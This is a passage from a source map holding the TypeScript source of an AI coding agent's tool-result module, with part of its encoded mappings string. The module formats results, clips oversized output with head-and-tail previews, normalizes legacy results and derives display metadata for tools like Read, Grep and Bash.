?? content.split('\\n')[0]?.trim() ?? '',\n details: override?.details ?? content,\n metadata: override?.metadata,\n target: override?.target,\n };\n}\n\nexport function toolSuccess<TData = unknown>(\n content: string,\n options: ToolResultOptions<TData> = {},\n): ToolResult<TData> {\n return {\n version: 2,\n toolCallId: options.toolCallId ?? '',\n status: 'success',\n content,\n data: options.data,\n presentation: options.presentation ? presentationFor(content, options.presentation) : undefined,\n artifacts: options.artifacts,\n pagination: options.pagination,\n };\n}\n\nexport function toolFailure(\n message: string,\n options: ToolResultOptions<unknown> & {\n code?: string;\n status?: Exclude<ToolResultStatus, 'success'>;\n retryable?: boolean;\n remediation?: string;\n details?: Record<string, unknown>;\n content?: string;\n } = {},\n): ToolResult {\n const error: ToolResultError = {\n code: options.code ?? 'tool_error',\n message,\n retryable: options.retryable ?? false,\n remediation: options.remediation,\n details: options.details,\n };\n const content = options.content ?? '';\n return {\n version: 2,\n toolCallId: options.toolCallId ?? '',\n status: options.status ?? 'error',\n content,\n data: options.data,\n structuredError: error,\n presentation: options.presentation\n ? presentationFor(message, {\n summary: message.split('\\n')[0]?.trim(),\n details: message,\n ...options.presentation,\n })\n : undefined,\n artifacts: options.artifacts,\n pagination: options.pagination,\n };\n}\n\nexport function toolResultSucceeded(result: ToolResult): boolean {\n return result.status === 'success';\n}\n\nexport function toolResultErrorMessage(result: ToolResult): string | undefined {\n return result.structuredError?.message;\n}\n\nfunction rawToolResultModelContent(result: ToolResult): string {\n const content = result.content;\n if (toolResultSucceeded(result)) {\n return content.trim().length === 0 ? '(no output)' : content;\n }\n const remediation = result.structuredError?.remediation;\n const fix = remediation ? `\\nFix: ${remediation}` : '';\n const detail = content ? `\\n${content}` : '';\n return `ERROR [${result.structuredError?.code ?? result.status}]: ${toolResultErrorMessage(result) ?? 'tool failed'}${fix}${detail}`;\n}\n\nexport function toolResultModelContent(result: ToolResult): string {\n if (result.maskedPlaceholder !== undefined) return result.maskedPlaceholder;\n const raw = rawToolResultModelContent(result);\n if (Buffer.byteLength(raw) <= TOOL_RESULT_MAX_BYTES) return raw;\n // Reached only by callers that skipped `boundToolResultOutput`, which is\n // where an agent-loop result is clipped. Both places clip a failure to its\n // head and its tail, through the same helper.\n if (!toolResultSucceeded(result)) {\n const prefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;\n const fix = result.structuredError?.remediation\n ? `\\nFix: ${result.structuredError.remediation}`\n : '';\n const budget = Math.max(\n 1,\n TOOL_RESULT_MAX_BYTES - Buffer.byteLength(prefix) - Buffer.byteLength(fix),\n );\n return `${prefix}${headTailPreview(failureText(result), result.artifacts?.outputPath, budget)}${fix}`;\n }\n return clippedOutputPreview(raw, result.artifacts?.outputPath, TOOL_RESULT_MAX_BYTES);\n}\n\nexport function utf8Prefix(text: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n const bytes = Buffer.from(text);\n if (bytes.byteLength <= maxBytes) return text;\n return bytes\n .subarray(0, maxBytes)\n .toString('utf8')\n .replace(/\\uFFFD$/u, '');\n}\n\nfunction utf8Suffix(text: string, maxBytes: number): string {\n if (maxBytes <= 0) return '';\n const bytes = Buffer.from(text);\n if (bytes.byteLength <= maxBytes) return text;\n // Advance past any continuation bytes so the tail starts on a character\n // boundary. Cutting inside a 4-byte sequence otherwise strands three\n // continuation bytes, each of which decodes to its own replacement char.\n let start = bytes.byteLength - maxBytes;\n while (start < bytes.byteLength && (bytes[start] & 0xc0) === 0x80) start++;\n return bytes.subarray(start).toString('utf8');\n}\n\n/**\n * How much of a clipped failure's head survives: at most 8 KB, and never more\n * than a fifth of the budget, so the tail always has room to be worth keeping.\n */\nconst FAILURE_HEAD_MAX_BYTES = 8 * 1024;\n\n/** A failure's message and its output, as the two are read when the pair is clipped. */\nfunction failureText(result: ToolResult): string {\n const message = toolResultErrorMessage(result) ?? 'tool failed';\n return result.content ? `${message}\\n${result.content}` : message;\n}\n\n/**\n * A failure is judged on both ends, so a clipped one keeps both. The head\n * carries the error line, whatever framed the output — the Task tool's\n * `Partial result (the child was stopped; nothing below is final):` — and the\n * first diagnostics. The tail carries the verdict a test runner prints last.\n * Clipping to one end loses the other: a non-zero exit puts all of stderr in\n * the message and stdout in the content, and the summary is in the stdout, so a\n * tail-only clip of a large stderr reported the head instead of the verdict\n * (#308).\n */\nfunction headTailPreview(text: string, outputPath: string | undefined, maxBytes: number): string {\n const totalBytes = Buffer.byteLength(text);\n const headWindow = Math.min(FAILURE_HEAD_MAX_BYTES, Math.floor(maxBytes * 0.2));\n const window = utf8Prefix(text, headWindow);\n if (Buffer.byteLength(window) >= totalBytes) return text;\n // End the head on a whole line when one falls inside the kept window; a\n // half-line of output is harder to read than one line fewer.\n const lastBreak = window.lastIndexOf('\\n');\n const head = lastBreak >= 0 ? window.slice(0, lastBreak + 1) : window;\n // The newline that closed that line is not shown — the one that follows the\n // head here is a joiner — so it is part of what the notice has to count.\n const headShown = head.trimEnd();\n const headBytes = Buffer.byteLength(headShown);\n const omittedNotice = (omitted: number): string =>\n outputPath\n ? `[... ${omitted} bytes omitted. Full output: ${outputPath}]`\n : `[... ${omitted} bytes omitted. Full output unavailable.]`;\n // How much sits between the head and the tail is not known until the tail is,\n // but the notice's own width is: the widest count is the whole text, so that\n // notice is the room reserved before the tail is measured. The two newlines\n // that join the three parts are reserved with it, so the result stays inside\n // the budget the caller treats as final.\n const reserve = Buffer.byteLength(omittedNotice(totalBytes)) + 2;\n const tailRoom = maxBytes - headBytes - reserve;\n if (tailRoom <= 0) return [headShown, omittedNotice(totalBytes - headBytes)].join('\\n');\n // `utf8Suffix` lands on a character boundary; skip the rest of the line it\n // landed in so the tail starts on a line of its own.\n const tailWindow = utf8Suffix(text, tailRoom);\n const breakAt = tailWindow.indexOf('\\n');\n const tail = breakAt >= 0 ? tailWindow.slice(breakAt + 1) : tailWindow;\n const notice = omittedNotice(totalBytes - headBytes - Buffer.byteLength(tail));\n return [headShown, notice, tail].join('\\n');\n}\n\nfunction clippedOutputPreview(\n content: string,\n outputPath: string | undefined,\n maxBytes: number,\n): string {\n const notice = outputPath\n ? `\\n\\n[Output truncated at ${maxBytes} bytes. Full output: ${outputPath}]`\n : `\\n\\n[Output truncated at ${maxBytes} bytes. Full output unavailable.]`;\n const previewBudget = Math.max(0, maxBytes - Buffer.byteLength(notice));\n return `${utf8Prefix(content, previewBudget).trimEnd()}${notice}`;\n}\n\n/**\n * Bound every provider-facing tool result at the execution boundary. Complete output is stored in\n * Book's user-local data directory when possible, never in the tracked workspace.\n */\nexport async function boundToolResultOutput(\n input: ToolResult,\n _workspaceRoot: string,\n maxBytes = TOOL_RESULT_MAX_BYTES,\n artifactRoot = TOOL_OUTPUT_DIRECTORY,\n): Promise<ToolResult> {\n const result = normalizeToolResult(input);\n const modelContent = rawToolResultModelContent(result);\n const modelContentBytes = Buffer.byteLength(modelContent);\n const contentBytes = Buffer.byteLength(result.content);\n const details = result.presentation?.details;\n const detailsBytes = details === undefined ? 0 : Buffer.byteLength(details);\n if (modelContentBytes <= maxBytes && detailsBytes <= maxBytes) return result;\n\n let outputPath = result.artifacts?.outputPath;\n if (!outputPath) {\n const outputFile = join(artifactRoot, `${crypto.randomUUID()}.txt`);\n try {\n await mkdir(dirname(outputFile), { recursive: true });\n await writeFile(\n outputFile,\n detailsBytes > modelContentBytes && details ? details : modelContent,\n 'utf8',\n );\n outputPath = outputFile.replace(/\\\\/g, '/');\n } catch {\n // Clipping must still succeed in read-only or otherwise restricted environments.\n }\n }\n\n const modelOverflow = modelContentBytes > maxBytes;\n const content = toolResultSucceeded(result)\n ? contentBytes > maxBytes\n ? clippedOutputPreview(result.content, outputPath, maxBytes)\n : result.content\n : modelOverflow\n ? ''\n : result.content;\n const errorPrefix = `ERROR [${result.structuredError?.code ?? result.status}]: `;\n // Reserve room for the \"\\nFix: <remediation>\" line appended at render time so\n // the remediation survives instead of being re-clipped off the tail.\n const fixReserve = result.structuredError?.remediation\n ? Buffer.byteLength(`\\nFix: ${result.structuredError.remediation}`)\n : 0;\n const errorBudget = Math.max(1, maxBytes - Buffer.byteLength(errorPrefix) - fixReserve);\n const structuredError = result.structuredError\n ? {\n ...result.structuredError,\n // The message and the output are clipped as one text, so a failure\n // keeps both ends: the error line and any framing at the top, and the\n // verdict at the bottom. The room the `Fix:` line needs is reserved\n // above, so the remediation is never what gets clipped.\n message: modelOverflow\n ? headTailPreview(failureText(result), outputPath, errorBudget)\n : result.structuredError.message,\n }\n : result.structuredError;\n const clippedDetails = details\n ? detailsBytes > maxBytes\n ? // The transcript row reads the same way the model does: a failure's\n // head and tail, not one end of it — the same reason as above.\n toolResultSucceeded(result)\n ? clippedOutputPreview(details, outputPath, maxBytes)\n : headTailPreview(details, outputPath, maxBytes)\n : details\n : toolResultSucceeded(result)\n ? content\n : structuredError?.message;\n\n return {\n ...result,\n content,\n structuredError,\n presentation: result.presentation\n ? { ...result.presentation, details: clippedDetails }\n : result.presentation,\n artifacts: outputPath ? { ...result.artifacts, outputPath } : result.artifacts,\n pagination: {\n ...result.pagination,\n truncated: true,\n omittedBytes: Math.max(\n result.pagination?.omittedBytes ?? 0,\n Math.max(modelContentBytes, contentBytes, detailsBytes) - maxBytes,\n ),\n },\n };\n}\n\nexport function replaceToolResult(\n result: ToolResult,\n patch: {\n status?: ToolResultStatus;\n content?: string;\n error?: ToolResultError;\n presentation?: Partial<ToolResultPresentation>;\n },\n): ToolResult {\n const status = patch.status ?? result.status;\n const content = patch.content ?? result.content;\n return {\n ...result,\n status,\n content,\n // New content replaces what the model read: a placeholder standing in for\n // the previous text would hide the rewrite (a PostToolUse hook's\n // `modifiedOutput`, the plan-approval note) behind the line the tool wrote.\n ...(patch.content !== undefined ? { maskedPlaceholder: undefined } : {}),\n structuredError: patch.error ?? (status === 'success' ? undefined : result.structuredError),\n presentation:\n result.presentation || patch.presentation\n ? presentationFor(content, {\n ...result.presentation,\n ...patch.presentation,\n })\n : undefined,\n };\n}\n\n/** Upgrade persisted pre-V2 results while keeping the runtime and SDK contract V2-only. */\nexport function normalizeToolResult(result: ToolResult | LegacyToolResult): ToolResult {\n const legacy = result as LegacyToolResult;\n const legacySuccess = legacy.success;\n const legacyError = typeof legacy.error === 'string' ? legacy.error : undefined;\n const status: ToolResultStatus = result.status\n ? result.status\n : legacySuccess\n ? 'success'\n : legacyError?.startsWith('SKIPPED')\n ? 'blocked'\n : legacyError?.startsWith('CANCELLED')\n ? 'cancelled'\n : legacyError?.startsWith('Tool timeout')\n ? 'timed_out'\n : 'error';\n const content = result.content ?? legacy.output ?? '';\n const error =\n status === 'success'\n ? undefined\n : {\n ...(result.structuredError ?? {}),\n code: result.structuredError?.code ?? (status === 'blocked' ? 'blocked' : status),\n message: legacyError ?? result.structuredError?.message ?? 'Tool failed',\n retryable: result.structuredError?.retryable ?? status === 'timed_out',\n };\n const artifacts: ToolResultArtifacts | undefined =\n result.artifacts ??\n (legacy.fileMutation ||\n legacy.fileMutations ||\n legacy.fileObservations ||\n legacy.eventRef ||\n legacy.outputPath\n ? {\n fileMutation: legacy.fileMutation,\n fileMutations: legacy.fileMutations,\n fileObservations: legacy.fileObservations,\n eventRef: legacy.eventRef,\n outputPath: legacy.outputPath,\n }\n : undefined);\n const metrics =\n result.metrics ??\n (legacy.durationMs !== undefined || legacy.retryAttempt !== undefined\n ? { durationMs: legacy.durationMs, retryAttempt: legacy.retryAttempt }\n : undefined);\n return {\n version: 2,\n toolCallId: result.toolCallId,\n status,\n content,\n // Masking's placeholder survives a resume, or a restored compaction's tail\n // would come back at full size.\n ...('maskedPlaceholder' in result && result.maskedPlaceholder !== undefined\n ? { maskedPlaceholder: result.maskedPlaceholder }\n : {}),\n data: result.data,\n structuredError: error,\n presentation: result.presentation,\n artifacts,\n metrics,\n pagination: result.pagination,\n };\n}\n\nfunction nonEmptyLines(content: string): number {\n return content.split('\\n').filter((line) => line.trim()).length;\n}\n\n/** A Read row's line metadata: how many lines of the file, and their range when the read started partway in. */\nexport function readLineMetadata(start: number, count: number): string[] {\n // A row counts whole lines: the values reach this from Read's own floor and\n // from a page reconstructed out of its text, and either can be fractional.\n const first = Math.max(1, Math.floor(start));\n const lines = Math.max(0, Math.floor(count));\n if (lines <= 0) return ['empty'];\n const size = lines === 1 ? '1 line' : `${lines} lines`;\n // `121 lines · 1-121` says the same thing twice. The range earns its place only when the read\n // started partway into the file.\n return first > 1 ? [size, `${first}-${first + lines - 1}`] : [size];\n}\n\n/**\n * A Read row's metadata reconstructed from its text, for results that carry none (outlines, and\n * results persisted before tool results had a presentation): the lines of the file it returned\n * and their range, or how many declarations an outline listed. A read that stops early ends with\n * a notice (`[Lines 3-6 of 20 shown. …]`, `[Line 1 (60000 bytes) was cut …]`), which is not a\n * line of the file, and an empty file is nothing but its notice. Read's own results carry exact\n * metadata (readLineMetadata). Without Read's own count, a result persisted by a build that\n * numbered the empty element after a final newline still reads one line long, so a trailing\n * `N: ` is read past — a file ending in a blank line now returns the same text, and its phantom\n * line is gone.\n */\nexport function readResultMetadata(args: Record<string, unknown>, content: string): string[] {\n // An outline lists declarations under a header, not lines of the file.\n if (args.outline === true) {\n const entries = content.split('\\n').filter((line) => /^\\d+: /.test(line)).length;\n return ['outline', entries === 1 ? '1 entry' : `${entries} entries`];\n }\n let body =\n content === READ_EMPTY_FILE_NOTICE ? '' : content.replace(/\\n\\[Lines? \\d[^\\n]*\\]$/, '');\n if (body === content) body = body.replace(/(?:^|\\n)\\d+: $/, '');\n const lineCount = body ? body.split('\\n').length : 0;\n const offset = Number(args.offset ?? 0);\n const start = Number.isFinite(offset) && offset > 0 ? Math.floor(offset) : 1;\n return readLineMetadata(start, lineCount);\n}\n\n/**\n * A Grep row's count re-derived from its text, for results that carry none: a\n * result persisted by a build that did not have Grep set its own (#311). Grep\n * itself counts from the data it collected, which is exact where this is not —\n * a context line's text can hold a `12:30` of its own, and a match spanning\n * lines is several lines. In the unit `output_mode` asks for: matches in\n * `content` and `count` mode, files in `files_with_matches`.\n */\nexport function grepResultMetadata(args: Record<string, unknown>, content: string): string {\n const noun = args.output_mode === 'files_with_matches' ? 'file' : 'match';\n if (/^No matches found$/i.test(content.trim()))\n return `0 ${noun === 'file' ? 'files' : 'matches'}`;\n const lines = content.split('\\n');\n let count: number;\n if (noun === 'file') count = lines.filter((line) => line.trim()).length;\n else if (args.output_mode === 'count') {\n count = lines.reduce((total, line) => total + (Number(/:(\\d+)\\s*$/.exec(line)?.[1]) || 0), 0);\n } else count = lines.filter((line) => /:\\d+:/.test(line)).length || nonEmptyLines(content);\n return `${count} ${count === 1 ? noun : noun === 'file' ? 'files' : 'matches'}`;\n}\n\n/** Attach stable UI data while execution still has the tool name and arguments. */\nexport function enrichToolResultPresentation(\n input: ToolResult,\n toolName: string,\n args: Record<string, unknown>,\n): ToolResult {\n const result = normalizeToolResult(input);\n const name = canonicalToolName(toolName);\n const content = result.content;\n const explicitPresentation = result.presentation;\n const target = explicitPresentation?.target ?? (getPrimaryArg(args) || undefined);\n const metadata: string[] = explicitPresentation?.metadata\n ? [...explicitPresentation.metadata]\n : [];\n const inferKind = explicitPresentation?.kind === undefined;\n const inferSummary = explicitPresentation?.summary === undefined;\n const inferMetadata = explicitPresentation?.metadata === undefined;\n let kind: ToolResultPresentation['kind'] = explicitPresentation?.kind ?? 'text';\n let summary = explicitPresentation?.summary ?? content.split('\\n')[0]?.trim() ?? '';\n\n if (isFileMutatingTool(name)) {\n if (inferKind) {\n kind = result.artifacts?.fileMutation ? 'file' : /^@@/m.test(content) ? 'diff' : 'file';\n }\n const mutation = result.artifacts?.fileMutation ?? result.artifacts?.fileMutations?.[0];\n if (mutation) {\n if (inferMetadata) {\n if (mutation.addedLines) metadata.push(`+${mutation.addedLines}`);\n if (mutation.removedLines) metadata.push(`-${mutation.removedLines}`);\n if (!mutation.addedLines && !mutation.removedLines) metadata.push('no changes');\n }\n if (inferSummary) {\n summary = `${mutation.kind === 'create' ? 'Created' : mutation.kind === 'delete' ? 'Deleted' : 'Updated'} ${mutation.filePath}`;\n }\n }\n } else if (name === 'Read') {\n if (inferKind) kind = 'file';\n if (inferMetadata && result.status === 'success')\n metadata.push(...readResultMetadata(args, content));\n if (inferSummary) summary = target ? `Read ${target}` : summary;\n } else if (name === 'Glob') {\n if (inferKind) kind = 'search';\n const count = /^(?:No files found|No matches found)$/i.test(content.trim())\n ? 0\n : nonEmptyLines(content.replace(/\\n\\.\\.\\. \\(truncated[\\s\\S]*$/, ''));\n if (inferMetadata) metadata.push(`${count} ${count === 1 ? 'file' : 'files'}`);\n if (inferSummary) summary = `Found ${count} ${count === 1 ? 'file' : 'files'}`;\n } else if (name === 'Grep') {\n if (inferKind) kind = 'search';\n // Only a search that ran has matches to count; a failed one is a row with\n // the error, the way Read's is.\n if (result.status === 'success') {\n const label = grepResultMetadata(args, content);\n if (inferMetadata) metadata.push(label);\n if (inferSummary) summary = `Found ${label}`;\n }\n } else if (name === 'Bash' || name === 'BashOutput' || name === 'KillShell') {\n if (inferKind) kind = 'command';\n if (inferSummary) summary = target ? `${name}: ${target}` : summary;\n } else if (name === 'GitDiff') {\n if (inferKind) kind = 'diff';\n } else if (name.startsWith('Web') || name === 'ToolSearch' || name.startsWith('SessionHistory')) {\n if (inferKind) kind = name === 'ToolSearch' ? 'search' : 'markdown';\n } else if (name.startsWith('Task') || name === 'TodoWrite') {\n if (inferKind) kind = 'task';\n } else if (name.startsWith('Agent') || name.startsWith('Evidence')) {\n if (inferKind) kind = 'agent';\n }\n\n return {\n ...result,\n presentation: {\n kind,\n summary,\n details: explicitPresentation?.details ?? content,\n metadata,\n target: explicitPresentation?.target ?? result.artifacts?.fileMutation?.filePath ?? target,\n },\n };\n}\n","export const FILE_MUTATING_TOOLS = new Set([\n 'ApplyPatch',\n 'Write',\n 'Edit',\n 'MultiEdit',\n 'NotebookEdit',\n]);\n\nexport function isFileMutatingTool(canonicalName: string): boolean {\n return FILE_MUTATING_TOOLS.has(canonicalName);\n}\n"],"mappings":";;;;;AACO,IAAM,eAAuC;AAAA,EAClD,WAAW;AAAA,EACX,YAAY;AAAA,EACZ,WAAW;AAAA,EACX,YAAY;AAAA,EACZ,aAAa;AAAA,EACb,MAAM;AAAA,EACN,YAAY;AAAA,EACZ,MAAM;AAAA,EACN,MAAM;AAAA;AAAA,EAEN,YAAY;AAAA,EACZ,UAAU;AAAA,EACV,SAAS;AAAA,EACT,YAAY;AAAA,EACZ,YAAY;AACd;AAGO,SAAS,kBAAkB,MAAsB;AACtD,SAAO,aAAa,IAAI,KAAK;AAC/B;;;ACTO,SAAS,cAAc,MAAuC;AACnE,MAAI,OAAO,KAAK,YAAY,SAAU,QAAO,KAAK,QAAQ,MAAM,IAAI,EAAE,CAAC;AACvE,MAAI,OAAO,KAAK,aAAa,SAAU,QAAO,KAAK;AACnD,MAAI,OAAO,KAAK,YAAY,SAAU,QAAO,KAAK;AAClD,MAAI,OAAO,KAAK,WAAW,SAAU,QAAO,KAAK;AACjD,MAAI,OAAO,KAAK,YAAY,SAAU,QAAO,KAAK;AAClD,MAAI,OAAO,KAAK,aAAa,SAAU,QAAO,KAAK;AACnD,MAAI,OAAO,KAAK,cAAc,SAAU,QAAO,KAAK;AACpD,MAAI,OAAO,KAAK,UAAU,UAAU;AAClC,UAAM,QAAQ,KAAK,MAAM,MAAM,4CAA4C;AAC3E,QAAI,MAAO,QAAO,MAAM,CAAC,EAAE,KAAK;AAAA,EAClC;AACA,MAAI,OAAO,KAAK,kBAAkB,SAAU,QAAO,KAAK;AACxD,MAAI,OAAO,KAAK,YAAY,SAAU,QAAO,KAAK;AAClD,MAAI,OAAO,KAAK,SAAS,SAAU,QAAO,KAAK;AAC/C,MAAI,OAAO,KAAK,UAAU,SAAU,QAAO,KAAK;AAChD,MAAI,OAAO,KAAK,UAAU,SAAU,QAAO,KAAK;AAChD,MAAI,OAAO,KAAK,YAAY,SAAU,QAAO,KAAK;AAClD,MAAI,OAAO,KAAK,QAAQ,SAAU,QAAO,KAAK;AAC9C,MAAI,OAAO,KAAK,UAAU,SAAU,QAAO,KAAK;AAChD,MAAI,OAAO,KAAK,YAAY,SAAU,QAAO,KAAK;AAClD,MAAI,OAAO,KAAK,eAAe,SAAU,QAAO,KAAK,WAAW,MAAM,GAAG,EAAE;AAC3E,QAAM,OAAO,OAAO,KAAK,IAAI;AAC7B,MAAI,KAAK,SAAS,GAAG;AACnB,UAAM,IAAI,KAAK,KAAK,CAAC,CAAC;AACtB,WAAO,OAAO,MAAM,WAAW,IAAI;AAAA,EACrC;AACA,SAAO;AACT;;;ACzCA,SAAS,OAAO,iBAAiB;AACjC,SAAS,SAAS,YAAY;;;ACDvB,IAAM,sBAAsB,oBAAI,IAAI;AAAA,EACzC;AAAA,EACA;AAAA,EACA;AAAA,EACA;AAAA,EACA;AACF,CAAC;AAEM,SAAS,mBAAmB,eAAgC;AACjE,SAAO,oBAAoB,IAAI,aAAa;AAC9C;;;ADIO,IAAM,wBAAwB,KAAK;AAMnC,IAAM,yBAAyB;AAKtC,IAAM,wBAAwB,KAAK,gBAAgB,GAAG,aAAa;AAiCnE,SAAS,gBACP,SACA,UACwB;AACxB,SAAO;AAAA,IACL,MAAM,UAAU,QAAQ;AAAA,IACxB,SAAS,UAAU,WAAW,QAAQ,MAAM,IAAI,EAAE,CAAC,GAAG,KAAK,KAAK;AAAA,IAChE,SAAS,UAAU,WAAW;AAAA,IAC9B,UAAU,UAAU;AAAA,IACpB,QAAQ,UAAU;AAAA,EACpB;AACF;AAEO,SAAS,YACd,SACA,UAAoC,CAAC,GAClB;AACnB,SAAO;AAAA,IACL,SAAS;AAAA,IACT,YAAY,QAAQ,cAAc;AAAA,IAClC,QAAQ;AAAA,IACR;AAAA,IACA,MAAM,QAAQ;AAAA,IACd,cAAc,QAAQ,eAAe,gBAAgB,SAAS,QAAQ,YAAY,IAAI;AAAA,IACtF,WAAW,QAAQ;AAAA,IACnB,YAAY,QAAQ;AAAA,EACtB;AACF;AAEO,SAAS,YACd,SACA,UAOI,CAAC,GACO;AACZ,QAAM,QAAyB;AAAA,IAC7B,MAAM,QAAQ,QAAQ;AAAA,IACtB;AAAA,IACA,WAAW,QAAQ,aAAa;AAAA,IAChC,aAAa,QAAQ;AAAA,IACrB,SAAS,QAAQ;AAAA,EACnB;AACA,QAAM,UAAU,QAAQ,WAAW;AACnC,SAAO;AAAA,IACL,SAAS;AAAA,IACT,YAAY,QAAQ,cAAc;AAAA,IAClC,QAAQ,QAAQ,UAAU;AAAA,IAC1B;AAAA,IACA,MAAM,QAAQ;AAAA,IACd,iBAAiB;AAAA,IACjB,cAAc,QAAQ,eAClB,gBAAgB,SAAS;AAAA,MACvB,SAAS,QAAQ,MAAM,IAAI,EAAE,CAAC,GAAG,KAAK;AAAA,MACtC,SAAS;AAAA,MACT,GAAG,QAAQ;AAAA,IACb,CAAC,IACD;AAAA,IACJ,WAAW,QAAQ;AAAA,IACnB,YAAY,QAAQ;AAAA,EACtB;AACF;AAEO,SAAS,oBAAoB,QAA6B;AAC/D,SAAO,OAAO,WAAW;AAC3B;AAEO,SAAS,uBAAuB,QAAwC;AAC7E,SAAO,OAAO,iBAAiB;AACjC;AAEA,SAAS,0BAA0B,QAA4B;AAC7D,QAAM,UAAU,OAAO;AACvB,MAAI,oBAAoB,MAAM,GAAG;AAC/B,WAAO,QAAQ,KAAK,EAAE,WAAW,IAAI,gBAAgB;AAAA,EACvD;AACA,QAAM,cAAc,OAAO,iBAAiB;AAC5C,QAAM,MAAM,cAAc;AAAA,OAAU,WAAW,KAAK;AACpD,QAAM,SAAS,UAAU;AAAA,EAAK,OAAO,KAAK;AAC1C,SAAO,UAAU,OAAO,iBAAiB,QAAQ,OAAO,MAAM,MAAM,uBAAuB,MAAM,KAAK,aAAa,GAAG,GAAG,GAAG,MAAM;AACpI;AAEO,SAAS,uBAAuB,QAA4B;AACjE,MAAI,OAAO,sBAAsB,OAAW,QAAO,OAAO;AAC1D,QAAM,MAAM,0BAA0B,MAAM;AAC5C,MAAI,OAAO,WAAW,GAAG,KAAK,sBAAuB,QAAO;AAI5D,MAAI,CAAC,oBAAoB,MAAM,GAAG;AAChC,UAAM,SAAS,UAAU,OAAO,iBAAiB,QAAQ,OAAO,MAAM;AACtE,UAAM,MAAM,OAAO,iBAAiB,cAChC;AAAA,OAAU,OAAO,gBAAgB,WAAW,KAC5C;AACJ,UAAM,SAAS,KAAK;AAAA,MAClB;AAAA,MACA,wBAAwB,OAAO,WAAW,MAAM,IAAI,OAAO,WAAW,GAAG;AAAA,IAC3E;AACA,WAAO,GAAG,MAAM,GAAG,gBAAgB,YAAY,MAAM,GAAG,OAAO,WAAW,YAAY,MAAM,CAAC,GAAG,GAAG;AAAA,EACrG;AACA,SAAO,qBAAqB,KAAK,OAAO,WAAW,YAAY,qBAAqB;AACtF;AAEO,SAAS,WAAW,MAAc,UAA0B;AACjE,MAAI,YAAY,EAAG,QAAO;AAC1B,QAAM,QAAQ,OAAO,KAAK,IAAI;AAC9B,MAAI,MAAM,cAAc,SAAU,QAAO;AACzC,SAAO,MACJ,SAAS,GAAG,QAAQ,EACpB,SAAS,MAAM,EACf,QAAQ,YAAY,EAAE;AAC3B;AAEA,SAAS,WAAW,MAAc,UAA0B;AAC1D,MAAI,YAAY,EAAG,QAAO;AAC1B,QAAM,QAAQ,OAAO,KAAK,IAAI;AAC9B,MAAI,MAAM,cAAc,SAAU,QAAO;AAIzC,MAAI,QAAQ,MAAM,aAAa;AAC/B,SAAO,QAAQ,MAAM,eAAe,MAAM,KAAK,IAAI,SAAU,IAAM;AACnE,SAAO,MAAM,SAAS,KAAK,EAAE,SAAS,MAAM;AAC9C;AAMA,IAAM,yBAAyB,IAAI;AAGnC,SAAS,YAAY,QAA4B;AAC/C,QAAM,UAAU,uBAAuB,MAAM,KAAK;AAClD,SAAO,OAAO,UAAU,GAAG,OAAO;AAAA,EAAK,OAAO,OAAO,KAAK;AAC5D;AAYA,SAAS,gBAAgB,MAAc,YAAgC,UAA0B;AAC/F,QAAM,aAAa,OAAO,WAAW,IAAI;AACzC,QAAM,aAAa,KAAK,IAAI,wBAAwB,KAAK,MAAM,WAAW,GAAG,CAAC;AAC9E,QAAM,SAAS,WAAW,MAAM,UAAU;AAC1C,MAAI,OAAO,WAAW,MAAM,KAAK,WAAY,QAAO;AAGpD,QAAM,YAAY,OAAO,YAAY,IAAI;AACzC,QAAM,OAAO,aAAa,IAAI,OAAO,MAAM,GAAG,YAAY,CAAC,IAAI;AAG/D,QAAM,YAAY,KAAK,QAAQ;AAC/B,QAAM,YAAY,OAAO,WAAW,SAAS;AAC7C,QAAM,gBAAgB,CAAC,YACrB,aACI,QAAQ,OAAO,gCAAgC,UAAU,MACzD,QAAQ,OAAO;AAMrB,QAAM,UAAU,OAAO,WAAW,cAAc,UAAU,CAAC,IAAI;AAC/D,QAAM,WAAW,WAAW,YAAY;AACxC,MAAI,YAAY,EAAG,QAAO,CAAC,WAAW,cAAc,aAAa,SAAS,CAAC,EAAE,KAAK,IAAI;AAGtF,QAAM,aAAa,WAAW,MAAM,QAAQ;AAC5C,QAAM,UAAU,WAAW,QAAQ,IAAI;AACvC,QAAM,OAAO,WAAW,IAAI,WAAW,MAAM,UAAU,CAAC,IAAI;AAC5D,QAAM,SAAS,cAAc,aAAa,YAAY,OAAO,WAAW,IAAI,CAAC;AAC7E,SAAO,CAAC,WAAW,QAAQ,IAAI,EAAE,KAAK,IAAI;AAC5C;AAEA,SAAS,qBACP,SACA,YACA,UACQ;AACR,QAAM,SAAS,aACX;AAAA;AAAA,uBAA4B,QAAQ,wBAAwB,UAAU,MACtE;AAAA;AAAA,uBAA4B,QAAQ;AACxC,QAAM,gBAAgB,KAAK,IAAI,GAAG,WAAW,OAAO,WAAW,MAAM,CAAC;AACtE,SAAO,GAAG,WAAW,SAAS,aAAa,EAAE,QAAQ,CAAC,GAAG,MAAM;AACjE;AAMA,eAAsB,sBACpB,OACA,gBACA,WAAW,uBACX,eAAe,uBACM;AACrB,QAAM,SAAS,oBAAoB,KAAK;AACxC,QAAM,eAAe,0BAA0B,MAAM;AACrD,QAAM,oBAAoB,OAAO,WAAW,YAAY;AACxD,QAAM,eAAe,OAAO,WAAW,OAAO,OAAO;AACrD,QAAM,UAAU,OAAO,cAAc;AACrC,QAAM,eAAe,YAAY,SAAY,IAAI,OAAO,WAAW,OAAO;AAC1E,MAAI,qBAAqB,YAAY,gBAAgB,SAAU,QAAO;AAEtE,MAAI,aAAa,OAAO,WAAW;AACnC,MAAI,CAAC,YAAY;AACf,UAAM,aAAa,KAAK,cAAc,GAAG,OAAO,WAAW,CAAC,MAAM;AAClE,QAAI;AACF,YAAM,MAAM,QAAQ,UAAU,GAAG,EAAE,WAAW,KAAK,CAAC;AACpD,YAAM;AAAA,QACJ;AAAA,QACA,eAAe,qBAAqB,UAAU,UAAU;AAAA,QACxD;AAAA,MACF;AACA,mBAAa,WAAW,QAAQ,OAAO,GAAG;AAAA,IAC5C,QAAQ;AAAA,IAER;AAAA,EACF;AAEA,QAAM,gBAAgB,oBAAoB;AAC1C,QAAM,UAAU,oBAAoB,MAAM,IACtC,eAAe,WACb,qBAAqB,OAAO,SAAS,YAAY,QAAQ,IACzD,OAAO,UACT,gBACE,KACA,OAAO;AACb,QAAM,cAAc,UAAU,OAAO,iBAAiB,QAAQ,OAAO,MAAM;AAG3E,QAAM,aAAa,OAAO,iBAAiB,cACvC,OAAO,WAAW;AAAA,OAAU,OAAO,gBAAgB,WAAW,EAAE,IAChE;AACJ,QAAM,cAAc,KAAK,IAAI,GAAG,WAAW,OAAO,WAAW,WAAW,IAAI,UAAU;A